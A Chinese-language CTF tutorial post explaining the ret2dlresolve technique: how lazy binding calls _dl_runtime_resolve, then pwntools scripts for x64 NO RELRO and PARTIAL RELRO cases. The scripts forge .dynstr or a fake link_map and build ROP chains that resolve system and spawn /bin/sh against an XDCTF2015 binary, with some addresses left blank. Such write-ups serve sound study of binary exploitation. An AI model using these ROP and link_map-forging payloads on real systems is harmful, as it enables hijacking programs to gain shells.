ret2dlresolve

First Post:

Last Update:

Word Count:
1k

Read Time:
4 min

Page View: loading...

借鉴文档:【精选】ret2dlresolve超详细教程(x86&x64)-CSDN博客

x86

前置知识

Linux中,程序使用_dl_runtime_resolve(link_map,reloc_offset)来对动态链接的函数进行重定位。

而ret2dlresolve攻击的核心就是控制相应的参数及其对应地址的内容,从而控制解析的函数。

延迟绑定机制

第一次调用一个函数时,先是到plt表,然后jmp到got表

image.png

此时got表存的地址是在plt表上

image.png

其实也就是jmp got的下一条指令,这里先是push一个数字(该函数在rel.plt上的偏移,reloc_arg,后文会讲到),然后jmp到plt[0] (0x8048380)

image.png

在plt[0]处先是push got[1],got[1]就是link_map(链接器的标识信息,后文会讲到),然后jmp到got[2]处,got[2]就是_dl_runtime_resolve函数的地址

image.png

image.png

所以相当于执行了

1
_dl_runtime_resolve(link_map,reloc_arg)

这个函数会完成符号的解析,即将真实的write函数地址写入其GOT表对应的条目中,随后将控制器交给被解析的函数

x64

NO RELRO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *  
context(os='linux',arch='amd64',log_level='debug')

r = process('./')
elf = ELF('./')
read_plt = elf.plt['read']
#我们攻击的目标,.dynamic中strtab的地址,我们要在此处修改指向fake_dynstr
target_addr = 0x600988 + 8
#用于加载函数地址的函数,当我们伪造了dynstr后,再次调用即可加载我们需要的函数
#plt起始地址
plt0_load =
#pop rdi;ret;
pop_rdi =
#pop rsi ; pop r15 ; ret
pop_rsi =
#伪造dynstr
fake_dynstr = '\x00libc.so.6\x00stdin\x00system\x00' #原本dynstr为\x00libc.so.6\x00stdin\x00strlen\x00'
#bss段起始地址
bss =
offset =
payload = flat('a' * offset , pop_rdi , 0 , pop_rsi , bss , 0 , read_plt , # 将'/bin/sh'以及伪造的strtab写入bss段
pop_rdi , 0 , pop_rsi , target_addr , 0 , read_plt , # 将.dynamic中的strtab地址改为我们伪造的strtab的地址
pop_rdi , bss , plt0_load , 1 # 调用.dl_fixup,解析strlen函数,由于我们已经在fake_strtab中将strlen替换成system,所以将会解析system函数

)

r.recvuntil('Welcome to XDCTF2015~!\n')
r.sendline(payload)
#发送system的参数以及伪造的strtab
payload2 = '/bin/sh'.ljust(0x10,'\x00') + fake_dynstr
sleep(1)
r.sendline(payload2)
sleep(1)
#修改dynsym里的strtab的地址为我们伪造的dynstr的地址
r.sendline(p64(bss + 0x10))
r.interactive()

PARTIAL_RELRO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *  
context(os='linux',arch='amd64',log_level='debug')

#r = gdb.debug("./parelro_x64",'break main')
r = process('./')
elf = ELF('./')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
read_plt = elf.plt['read']
write_got = elf.got['write']
vuln_addr = elf.sym['vuln']

#bss
bss =
bss_stage = bss + 0x100
l_addr = libc.sym['system'] -libc.sym['write'] # l_addr = -769472, 通常为负数

pop_rdi =
#pop rsi ; pop r15 ; ret
pop_rsi =
#用于解析符号dl_runtime_resolve
plt0 =
plt_load = plt0 + 6

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
# &(2**64-1)是因为offset为负数,如果不控制范围,p64后会越界,发生错误
linkmap = p64(offset & (2 ** 64 - 1))#l_addr

# fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
linkmap += p64(0) # 可以为任意值
linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址

# fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1)) # Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可
linkmap += p64(0x7) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
linkmap += p64(0)# Rela->r_addend,任意值都行

linkmap += p64(0)#l_ns

# fake_linkmap_addr + 0x38, DT_SYMTAB
linkmap += p64(0) # 参考IDA上.dyamisc的结构
linkmap += p64(known_func_ptr - 0x8) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8

linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr) # fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
linkmap += p64(fake_linkmap_addr + 0x38) # fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8) # fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
return linkmap

fake_link_map = fake_Linkmap_payload(bss_stage, write_got ,l_addr)# 伪造link_map

payload = flat( 'a' * 120 ,pop_rdi, 0 , pop_rsi , bss_stage , 0 , read_plt , # 把link_map写到bss段上
pop_rsi , 0 ,0 , # 使栈十六字节对齐,不然调用不了system
pop_rdi , bss_stage + 0x48 , plt_load , bss_stage , 0 # 把/bin/sh传进rdi,并且调用_dl_rutnime_resolve函数,传入伪造好的link_map和索引
)

r.recvuntil('Welcome to XDCTF2015~!\n')
r.sendline(payload)

r.send(fake_link_map)

r.interactive()